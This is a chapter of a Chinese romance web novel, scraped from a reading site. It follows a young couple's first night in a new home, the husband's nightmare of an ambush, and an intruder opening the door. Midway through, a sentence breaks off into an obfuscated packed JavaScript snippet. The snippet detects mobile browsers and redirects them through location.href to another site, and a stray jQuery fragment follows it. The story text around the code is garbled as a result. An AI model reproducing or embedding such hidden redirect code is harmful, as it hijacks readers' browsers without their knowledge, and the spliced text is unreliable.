默认冷灰
24号文字
方正启体

10. 第10章

作者:惟安行本书字数:K更新时间:
    何宣平没想到陈然在搬入新家第一晚就这样突然地回来了,让安乐居的伙计给西屋置办的床还没送来,这下她突然有点被动了。


    本来陈然还想自己在空处打个地铺睡睡算了,但又怕她误会自己还是……不喜和她一起睡,便心一横,大喇喇上了床。


    何宣平一度都想去息风炉找秦时忆睡了。


    可是她以前在何宅的时候一直都和下人住通铺,实在是不想再和那么多人睡在一起……


    看见陈然这副死样子,何宣平只好红着脸搡搡他,让他往里挪一点,给自己留出一点地方。


    谁知道陈然长臂一捞,直接将她腾空卷起,抱到了靠里侧的位置。何宣平听到自己的心跳声像打雷一样,眼前近在咫尺的陈然的脸都被那心跳声震得忽大忽小看不清。


    将她抱过来的时候,二人距离贴得极近。她不曾习武,也只是做些洒扫的活计,身上没有什么肌肉。瘦瘦的身子被团在男人的胸膛上悠过去,像细嫩的藤条压过了宽阔的车道,陈然不觉得沉,也不觉得疼,只像被还没学会收爪子的小猫抓了几下。


    陈然刻意没有使劲绷紧自己身上的肌肉,怕硌疼了她。所以何宣平被电光火石间团过去的时候,只觉得他身上热热的,软软的。


    陈然的体质很奇怪,百米之外,大家感觉到的是冷气。但像如今二人这样的距离,却能感到真正的热气。


    上次一起同床共枕的时候何宣平就觉得疑惑,今日破冰之后,幼时那爱打破砂锅问到底的脾气突然苏醒了。她戳了戳陈然的后腰:


    “你不是极寒之体吗?为什么又这般热热的?”


    一阵衣料簌簌的响声,陈然翻身面对着他,眼里露出十分好笑的神色,抓住她的手就往他刚刚褪下衣衫的胸前按去。


    何宣平羞得只想抽回自己的手,可她哪里有力气从陈然手里挣开,还是触到了那紧绷着的、十分有型的、炽热的胸肌。


    “你见过哪个活人身上是冰冷的?”


    何宣平羞得都忘了接话,一双小手被那胸膛里有力的心跳震得麻麻的。她和陈然的距离很近,陈然那好闻的沉木香气顺着呼吸直直喷在她脸上,也是热热的。


    陈然看她这副小样子,越发想靠近,又拽着她的手往里靠了几寸。


    她逃又逃不走,躲又躲不开,羞得只想找个地缝钻进去。一会儿把脸扭到一边,同时还小心翼翼地偷瞄他的动作,像个藏过冬粮食的松鼠。一会儿又倔劲儿上来了,瞪着双杏眼那么直直地盯着他。


    “你放手!”陈然的那双手虽然常年拿刀,被磨出了薄茧,但修长白皙,骨节分明。更重要的是,一只手就能握住她的两只小手。


    另一只手则开始不安分地摩挲她的脸颊。


    何宣平常年在内宅,不曾经历什么风霜雨打,除了瘦削一点,脸上也不曾像手上磨出过那些沧桑的印记。出府后养了不到月余,如今小脸更是吹弹可破。


    那骨节分明的大手轻轻抚摸着她的脸颊,薄茧所到之处,激起她阵阵战栗。后腰一阵酥麻。她的心跳得好像要从嗓子眼里蹦出来了,从来没有过这种奇怪的感觉。她心里慌慌得想要逃跑。


    但陈然察觉到她想逃,又强势又有侵略性地把二人之间的距离又缩短了。


    现在只剩鼻尖对鼻尖的那点点距离了。


    少女的清香一丝不漏地随着呼吸进入陈然身体里。简直比院子里的桂花香气还要醉人。陈然想。


    “你以后还会不会突然搬家或者离开,不带着我?”陈然幽黑的眸子有些润润的,在灯烛的照耀中有些细密的水光。刻意压低的声音显得有些沙哑,仔细听的话,还有些……恳求和委屈。


    何宣平看着他湿漉漉的眼睛和翘翘的鼻尖,不知为什么想起了……一只小狗。


    小时候母亲给了她一只白色的小狗,似乎不是什么名贵的种类,只是几千年来大家一直喜欢饲养的那种普通小狗。它叫晶晶,非常聪明,会和她抢吃的,但是遇到危险时总是会不遗余力地保护她。


    和晶晶第一次见面的时候,何宣平就被他从头到脚闻了个遍。从那以后,它好像就认识她了,总是一看到她就尾巴飞也似地摇起来。


    可是晶晶不喜欢何妙田和佘柔。它总是冲着他们狂吠。


    后来她也没有了小姐的卧房,和仆役们住在一起,那些日子,她连保全自己的能力都没有,更别提保全晶晶了。


    好想它呀。何宣平看着眼前这个像小狗的人想道。


    何宣平轻轻地点了点头,摸了摸陈然的鼻梁,还轻轻地刮了刮他的眼眶。主动地往陈然身上靠了一靠,像小时候抱晶晶那样,双臂搂住他的脖子,然后用头蹭着他的头。


    本来自己认认真真说话结果对面的人在这出神,陈然准备要生气了。但是见她拉近了距离准备抱自己,又高兴了。只是这拥抱为什么越来越不对劲……?


    怎么好像,是在抱一条狗?


    何宣平感到好高兴。


    原来她没有被丢下。原来她在这个世界上有一个,想和她一起的人。原来也有不想被她丢掉的人。


    她安心地搂着这自带发热功能的人形抱枕,不知什么时候竟在这种满足中意识开始朦胧起来。


    娘说,遇到真正喜欢的人,会睡得很快很安稳,会睡得很香,一觉醒来,会像浑身都充满了力气,所有的疲惫都一扫而空……


    上次和他一起睡不就是这样吗……难道他就是我喜欢的人吗……


    一边想着,意识如潮水般涌来,便沉沉睡去。


    感觉到抱着自己那个小身板突然软下来,陈然忙帮她调整好姿势,把她舒舒服服地放在枕头上,掖好被子。


    但她似乎不高兴,两道绣眉重重地皱着,嘴里还嘀咕着什么。


    陈然以为她是嫌蜡烛太亮,一只手帮她捂住眼睛,一只手逼出内力震熄了屋内的所有蜡烛,以为她会安生了。


    没想到,她紧紧抱住他的那只手,还侧过身,两只小手从他的手掌爬到了小臂,整个身子都安心地抱着那只手就这样睡着了。


    那前半夜,陈然几乎没怎么睡。


    女孩不时要摩挲一下他的小臂,有时还会掐一下、扣一下,好像那是一个好玩的玩具。过一会儿


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16903779|192319||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    又安心地抱着睡着了。


    她是好受了,可是他呢……


    虽是习武,就算一整晚抱着也不至于发麻或者动弹不了,但他也从未体会过这种睡着睡着突然像小蚂蚁在手上啮咬的感觉。


    真是让人有些又爱又恨啊……


    想是这么想,但如果这时陈然面前有个镜子,就能看到他嘴都要咧到后耳根了。


    折腾到后半夜,陈然才隐隐有困意,怀里的人也不怎么动弹了,他才沉沉睡过去。


    他看见一片白茫茫的雪地上,有一个粉雕玉琢的小女孩,穿着貂皮大氅,脸冻得红扑扑的,拿着手里的粉兔子一边跑向他,一边叫他爹爹。


    他高兴地回应着,也上前去迎她。


    可他听见有利剑穿破云层的声音。


    他揽住她,连着滚了好几圈,数十枚箭羽钉在刚刚她一路走过来的位置。


    小女孩吓得放声大哭,他抽出长刀,准备与来人一战到底。


    正当他蓄力一击时,一把剑从后心直接贯穿了他的身体。他低头,看见鲜血从剑尖处汩汩流出。


    小女孩扑在他面前哭着叫爹爹。


    陈然突然惊醒,这个梦来得毫无征兆,吓得他一身冷汗。


    他赶紧低头看怀里。女孩还是很恬静地睡着,似乎做了什么幸福的梦,嘴角弯弯的。


    看何宣平这副模样,他心里稍稍安定下来。


    这些年,他为摄政王做了很多见不得人的事。虽结了不少仇家,但他从来没怕过。可今日这梦……


    是他怕了。


    从来没有家,即便长于摄政王府,但那不是他的家。和她结婚以后,在清风居的那些日子,他以为自己有家了。可当他风尘仆仆赶回来的时候,一切却如镜花水月般消失了。


    他被丢下了。


    虽然一切都已经说开了,他也装作没事的样子,可是他的心里还是在害怕。他怕被丢下,但是他更害怕她出事了。


    天知道当他看到她故意放在桌上那袋钱时他心里是如何松了一口气的。只要不是出事了,只要她好,他怎么样都没关系的。


    但这种阴影显然没有被解决。梦里那个小女孩,叫他爹爹,也差一点就被人暗算了。


    自己这种身份,有资格奢望家庭和幸福吗?陈然懊恼地想。


    他眼前蓦地闪过莫逍死之前那双桀骜的眼睛。


    看着怀里的少女,陈然在心里默默下了一个决定。在一切尚未尘埃落定之前,绝不会做出格之事,也不会让她有孩子。


    正这样想着,窗外似乎有什么声响。


    陈然轻轻将手从何宣平那里抽出来,给她塞了自己的枕头抱着,抽出枕下的佩刀,作攻击之势一步一步轻轻走向门边。


    他侧身站在门后,握着那把冷意森然的刀,想起梦里的那一幕,浓烈的杀意衬得他在月光下像一个玉面阎罗。


    这才只是出王府住的第一日,这些人就这般按捺不住么?陈然心里愈发烦躁起来。如果今日他没赶回来,是她一个人住在这院子里,会怎么样?


    门被外面的人悄悄打开。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)